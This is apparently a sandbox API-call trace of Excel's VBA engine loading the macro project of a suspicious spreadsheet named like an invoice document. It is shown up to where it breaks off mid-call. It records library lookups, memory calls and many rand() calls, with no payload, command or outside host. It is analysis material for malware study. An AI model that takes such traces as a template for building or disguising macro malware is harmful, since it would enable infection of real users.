[0078.742] ITypeLib:RemoteGetDocumentation (in: This=0xb1d1370, index=-1, refPtrFlags=0x26f6f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0078.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0078.743] strcpy_s (in: _Dst=0x26f4f0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0078.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26f4f0, cbMultiByte=4, lpWideCharStr=0x26f340, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0078.743] IUnknown:AddRef (This=0xb1d0560) returned 0x2 [0078.743] ITypeLib:RemoteIsName (in: This=0xb1d0560, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x26f410, pBstrLibName=0x26f340 | out: pfName=0x26f410*=0, pBstrLibName=0x26f340) returned 0x0 [0078.761] IUnknown:Release (This=0xb1d0560) returned 0x1 [0078.761] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0xb1236c0 [0078.761] IMalloc:Free (This=0x7feffc15380, pv=0xaeb5d60) [0078.761] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xaeb5d60 [0078.761] IMalloc:Free (This=0x7feffc15380, pv=0xb1236c0) [0078.761] wcsncpy_s (in: _Destination=0x26f2f0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0078.761] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0078.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0xb4f0e00 [0078.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb4f0e00, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0078.762] IMalloc:Free (This=0x7feffc15380, pv=0xb4f0e00) [0078.762] IMalloc:Realloc (This=0x7feffc15380, pv=0x7604740, cb=0x440) returned 0xb0eb9b0 [0078.762] wcscpy_s (in: _Destination=0xb0ebbc0, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0078.762] wcsncpy_s (in: _Destination=0x26f330, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0078.762] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0078.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0xb4f0e00 [0078.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb4f0e00, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0078.762] IMalloc:Free (This=0x7feffc15380, pv=0xb4f0e00) [0078.762] wcsncpy_s (in: _Destination=0x26f2f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.762] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0078.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb302730 [0078.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb302730, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0078.762] IMalloc:Free (This=0x7feffc15380, pv=0xb302730) [0078.762] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0078.762] IUnknown:AddRef (This=0xb1d1370) returned 0x3 [0078.762] IUnknown:QueryInterface (in: This=0xb1d1370, riid=0x7fee5e085a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f718 | out: ppvObject=0x26f718*=0x0) returned 0x80004002 [0078.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x26f6e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0078.762] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0078.762] IUnknown:Release (This=0xb1d1370) returned 0x2 [0078.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae72350 [0078.762] IMalloc:GetSize (This=0x7feffc15380, pv=0xae72350) returned 0x0 [0078.763] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae72360 [0078.763] IMalloc:GetSize (This=0x7feffc15380, pv=0xae72360) returned 0x0 [0078.763] VirtualQuery (in: lpAddress=0x26fcc0, lpBuffer=0x26fc80, dwLength=0x30 | out: lpBuffer=0x26fc80*(BaseAddress=0x26f000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x21000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0078.764] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae72370 [0078.764] qsort (in: _Base=0xae72370, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fee5bb5594 | out: _Base=0xae72370) [0078.764] IMalloc:Free (This=0x7feffc15380, pv=0xae72370) [0078.764] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb1236c0 [0078.764] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0xb1235e0 [0078.764] IMalloc:GetSize (This=0x7feffc15380, pv=0xb1235e0) returned 0xc [0078.764] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0078.764] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0078.765] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0078.765] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0078.765] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0078.765] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0078.765] IMalloc:Free (This=0x7feffc15380, pv=0xae72360) [0078.765] IMalloc:Free (This=0x7feffc15380, pv=0xae72350) [0078.765] CoCreateGuid (in: pguid=0x26fdc8 | out: pguid=0x26fdc8*(Data1=0xe92817d6, Data2=0x925a, Data3=0x4ea7, Data4=([0]=0xb6, [1]=0x11, [2]=0xd3, [3]=0x84, [4]=0xda, [5]=0x1d, [6]=0xc6, [7]=0xa))) returned 0x0 [0078.765] IMalloc:Alloc (This=0x7feffc15380, cb=0x6b0) returned 0xb54c9a0 [0078.766] srand (_Seed=0x5196) [0078.766] rand () returned 2707 [0078.766] rand () returned 5367 [0078.766] rand () returned 3107 [0078.766] rand () returned 25991 [0078.766] rand () returned 22224 [0078.766] rand () returned 7173 [0078.766] rand () returned 3305 [0078.766] rand () returned 5542 [0078.766] rand () returned 21093 [0078.766] rand () returned 7093 [0078.766] rand () returned 29645 [0078.766] rand () returned 30555 [0078.766] rand () returned 4452 [0078.766] rand () returned 15519 [0078.766] rand () returned 22682 [0078.766] rand () returned 20118 [0078.766] rand () returned 26125 [0078.766] rand () returned 28117 [0078.766] rand () returned 31912 [0078.766] rand () returned 27549 [0078.766] rand () returned 25247 [0078.766] rand () returned 12135 [0078.766] rand () returned 31572 [0078.766] rand () returned 27055 [0078.768] rand () returned 11630 [0078.768] rand () returned 26157 [0078.768] rand () returned 24237 [0078.768] rand () returned 16615 [0078.768] rand () returned 23350 [0078.768] rand () returned 7360 [0078.768] rand () returned 27760 [0078.768] rand () returned 12132 [0078.768] rand () returned 17327 [0078.768] rand () returned 21962 [0078.768] rand () returned 16183 [0078.768] rand () returned 15783 [0078.768] rand () returned 1121 [0078.768] rand () returned 21376 [0078.768] rand () returned 32749 [0078.768] rand () returned 25148 [0078.768] rand () returned 9658 [0078.768] rand () returned 30828 [0078.768] rand () returned 21381 [0078.768] rand () returned 2205 [0078.768] rand () returned 5726 [0078.768] rand () returned 9584 [0078.768] rand () returned 20715 [0078.768] rand () returned 32595 [0078.768] rand () returned 28862 [0078.768] rand () returned 14600 [0078.768] rand () returned 4923 [0078.768] rand () returned 4446 [0078.768] rand () returned 16108 [0078.769] rand () returned 5071 [0078.769] rand () returned 15410 [0078.769] rand () returned 20183 [0078.769] rand () returned 12462 [0078.769] rand () returned 17989 [0078.769] rand () returned 31458 [0078.769] rand () returned 18644 [0078.769] rand () returned 30673 [0078.769] rand () returned 19407 [0078.769] rand () returned 27305 [0078.769] rand () returned 17548 [0078.769] rand () returned 16063 [0078.769] rand () returned 30463 [0078.769] rand () returned 24163 [0078.769] rand () returned 10684 [0078.769] rand () returned 27988 [0078.769] rand () returned 29462 [0078.769] rand () returned 27615 [0078.769] rand () returned 12361 [0078.769] rand () returned 12270 [0078.769] rand () returned 32455 [0078.769] rand () returned 19344 [0078.769] rand () returned 4390 [0078.769] rand () returned 29891 [0078.769] rand () returned 17470 [0078.769] rand () returned 24709 [0078.769] rand () returned 15992 [0078.769] rand () returned 21368 [0078.769] rand () returned 29281 [0078.769] rand () returned 31899 [0078.769] rand () returned 26360 [0078.769] rand () returned 4847 [0078.769] rand () returned 31574 [0078.769] rand () returned 13554 [0078.769] rand () returned 18585 [0078.769] rand () returned 16736 [0078.769] rand () returned 7237 [0078.769] rand () returned 23197 [0078.770] rand () returned 5740 [0078.770] rand () returned 4779 [0078.770] rand () returned 4703 [0078.770] rand () returned 27550 [0078.770] rand () returned 30144 [0078.770] rand () returned 30956 [0078.770] rand () returned 8479 [0078.770] rand () returned 4113 [0078.770] rand () returned 22157 [0078.770] rand () returned 11088 [0078.770] rand () returned 19919 [0078.770] rand () returned 30631 [0078.770] rand () returned 11027 [0078.770] rand () returned 3880 [0078.770] rand () returned 29775 [0078.770] rand () returned 11094 [0078.770] rand () returned 17086 [0078.770] rand () returned 14140 [0078.770] rand () returned 6418 [0078.770] rand () returned 10063 [0078.770] rand () returned 19533 [0078.770] rand () returned 28002 [0078.770] rand () returned 7273 [0078.770] rand () returned 20785 [0078.770] rand () returned 17203 [0078.770] rand () returned 31311 [0078.770] rand () returned 13060 [0078.770] rand () returned 7804 [0078.770] rand () returned 19517 [0078.770] rand () returned 8108 [0078.770] rand () returned 18357 [0078.770] rand () returned 32584 [0078.770] rand () returned 17782 [0078.770] rand () returned 30829 [0078.770] rand () returned 10872 [0078.770] rand () returned 24887 [0078.770] rand () returned 3400 [0078.771] rand () returned 13150 [0078.771] rand () returned 12465 [0078.771] rand () returned 24232 [0078.771] rand () returned 17635 [0078.771] rand () returned 23550 [0078.771] rand () returned 10932 [0078.771] rand () returned 28205 [0078.771] rand () returned 4579 [0078.771] rand () returned 9617 [0078.771] rand () returned 21130 [0078.771] rand () returned 9792 [0078.771] rand () returned 9004 [0078.771] rand () returned 27761 [0078.771] rand () returned 6131 [0078.771] rand () returned 26929 [0078.771] rand () returned 32025 [0078.771] rand () returned 24997 [0078.771] rand () returned 28071 [0078.771] rand () returned 3427 [0078.771] rand () returned 20695 [0078.771] rand () returned 5300 [0078.771] rand () returned 31713 [0078.771] rand () returned 21944 [0078.771] rand () returned 25355 [0078.771] rand () returned 20411 [0078.771] rand () returned 23582 [0078.771] rand () returned 20042 [0078.771] rand () returned 17851 [0078.772] rand () returned 31166 [0078.772] rand () returned 16930 [0078.772] rand () returned 24924 [0078.772] rand () returned 26987 [0078.772] rand () returned 29500 [0078.772] rand () returned 13885 [0078.772] rand () returned 14480 [0078.772] rand () returned 18822 [0078.772] rand () returned 8454 [0078.772] rand () returned 17612 [0078.772] rand () returned 15962 [0078.772] rand () returned 14336 [0078.772] rand () returned 6481 [0078.772] rand () returned 18178 [0078.772] rand () returned 21428 [0078.772] rand () returned 3130 [0078.772] rand () returned 9993 [0078.772] rand () returned 10473 [0078.772] rand () returned 3603 [0078.772] rand () returned 14630 [0078.772] rand () returned 5992 [0078.772] rand () returned 20643 [0078.772] rand () returned 4506 [0078.772] rand () returned 3755 [0078.772] rand () returned 1480 [0078.772] rand () returned 2806 [0078.772] rand () returned 23438 [0078.772] rand () returned 10827 [0078.772] rand () returned 6581 [0078.772] rand () returned 8456 [0078.772] rand () returned 4363 [0078.772] rand () returned 23299 [0078.772] rand () returned 27463 [0078.772] rand () returned 31590 [0078.772] rand () returned 9717 [0078.772] rand () returned 31858 [0078.772] rand () returned 430 [0078.773] rand () returned 30283 [0078.773] rand () returned 28720 [0078.773] rand () returned 3390 [0078.773] rand () returned 8207 [0078.773] rand () returned 19232 [0078.773] rand () returned 31508 [0078.773] rand () returned 1204 [0078.773] rand () returned 21647 [0078.773] rand () returned 13119 [0078.773] rand () returned 12059 [0078.773] rand () returned 11182 [0078.773] rand () returned 32173 [0078.773] rand () returned 10236 [0078.773] rand () returned 8669 [0078.773] rand () returned 31930 [0078.773] rand () returned 14804 [0078.773] rand () returned 25574 [0078.773] rand () returned 8767 [0078.773] rand () returned 20344 [0078.773] rand () returned 30000 [0078.773] rand () returned 2378 [0078.773] rand () returned 21735 [0078.773] rand () returned 21316 [0078.773] rand () returned 2498 [0078.773] rand () returned 4601 [0078.773] rand () returned 29939 [0078.773] rand () returned 7445 [0078.773] rand () returned 9647 [0078.773] rand () returned 27723 [0078.773] rand () returned 3306 [0078.773] rand () returned 19621 [0078.773] rand () returned 27614 [0078.773] rand () returned 26980 [0078.773] rand () returned 15346 [0078.773] rand () returned 3283 [0078.773] rand () returned 705 [0078.773] rand () returned 24758 [0078.774] rand () returned 23364 [0078.774] rand () returned 29509 [0078.774] rand () returned 1395 [0078.774] rand () returned 11463 [0078.774] rand () returned 6110 [0078.774] rand () returned 849 [0078.774] rand () returned 2820 [0078.774] rand () returned 25909 [0078.774] rand () returned 21623 [0078.774] rand () returned 22558 [0078.774] rand () returned 14353 [0078.774] rand () returned 31223 [0078.774] rand () returned 26552 [0078.774] rand () returned 14854 [0078.774] rand () returned 3735 [0078.774] rand () returned 5093 [0078.774] rand () returned 2729 [0078.774] rand () returned 9023 [0078.774] rand () returned 28680 [0078.774] CoCreateGuid (in: pguid=0xb1dcf08 | out: pguid=0xb1dcf08*(Data1=0xa9f4ccd8, Data2=0xfb2, Data3=0x4178, Data4=([0]=0xb6, [1]=0x72, [2]=0x35, [3]=0x1f, [4]=0xe5, [5]=0x0, [6]=0x57, [7]=0x90))) returned 0x0 [0078.774] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x0) returned 0xae72350 [0078.774] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb0ebe00 [0078.774] strcpy_s (in: _Dst=0xb1dcf68, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0078.774] CExposedStream::Read () returned 0x0 [0078.775] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0xb54d060 [0078.775] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0xb54f090 [0078.776] CExposedStream::AddRef () returned 0x2 [0078.776] CExposedStream::Release () returned 0x1 [0078.777] CExposedStream::Read () returned 0x0 [0078.777] CExposedStream::Read () returned 0x0 [0078.780] GetProcAddress (hModule=0x7fee57c0000, lpProcName=0x7fee5e221d0) returned 0x0 [0078.781] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0078.781] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x26fdc4, cbMultiByte=2, lpWideCharStr=0x26fdd8, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0078.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x26fd50, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0078.804] lstrcmpiA (lpString1="", lpString2="VBAProject") returned -1 [0078.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0078.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x26fc50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0078.804] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0078.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x26fb60, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0078.804] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0078.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x26fb60, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0078.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x26fa20, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0078.805] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0078.805] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0078.805] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb122880 [0078.805] IMalloc:Free (This=0x7feffc15380, pv=0xaeb5d60) [0078.805] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xaeb5d60 [0078.805] IMalloc:Realloc (This=0x7feffc15380, pv=0xaeb5d60, cb=0x44) returned 0x74f34d0 [0078.805] IMalloc:Free (This=0x7feffc15380, pv=0xb122880) [0078.805] strcpy_s (in: _Dst=0xb1dcf78, _DstSize=0xb, _Src="VBAProject" | out: _Dst="VBAProject") returned 0x0 [0078.808] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0x26fd60 | out: pclsid=0x26fd60*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.808] wcsncpy_s (in: _Destination=0xb2b0768, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0 [0078.808] wcscpy_s (in: _Destination=0xb2b07c8, _SizeInWords=0x2f, _Source="C:\\Windows\\SysWOW64\\stdole2.tlb" | out: _Destination="C:\\Windows\\SysWOW64\\stdole2.tlb") returned 0x0 [0078.808] wcscpy_s (in: _Destination=0xb2b0806, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0 [0078.808] IMalloc:Realloc (This=0x7feffc15380, pv=0xb3104f0, cb=0x680) returned 0x74e9db0 [0078.808] wcscpy_s (in: _Destination=0x74ea070, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0078.808] wcsncpy_s (in: _Destination=0x26f9b0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0078.809] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0078.809] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0xb19c400 [0078.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xb19c400, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0078.809] IMalloc:Free (This=0x7feffc15380, pv=0xb19c400) [0078.809] wcscpy_s (in: _Destination=0xb0ebd18, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0078.809] wcsncpy_s (in: _Destination=0x26f9f0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0078.809] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0078.809] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0xb19c400 [0078.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xb19c400, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0078.809] IMalloc:Free (This=0x7feffc15380, pv=0xb19c400) [0078.809] wcsncpy_s (in: _Destination=0x26f9b0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.809] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0078.809] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb302730 [0078.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb302730, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0078.809] IMalloc:Free (This=0x7feffc15380, pv=0xb302730) [0078.809] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0078.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x26fc90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0078.809] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0078.809] strcpy_s (in: _Dst=0x26fa70, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0078.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26fa70, cbMultiByte=7, lpWideCharStr=0x26f8c0, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0078.809] IUnknown:AddRef (This=0xb1d1370) returned 0x3 [0078.809] ITypeLib:RemoteIsName (in: This=0xb1d1370, szNameBuf="stdole", lHashVal=0x106093, pfName=0x26f990, pBstrLibName=0x26f8c0 | out: pfName=0x26f990*=0, pBstrLibName=0x26f8c0) returned 0x0 [0078.809] IUnknown:Release (This=0xb1d1370) returned 0x2 [0078.809] IUnknown:AddRef (This=0xb1d0560) returned 0x2 [0078.810] ITypeLib:RemoteIsName (in: This=0xb1d0560, szNameBuf="stdole", lHashVal=0x106093, pfName=0x26f990, 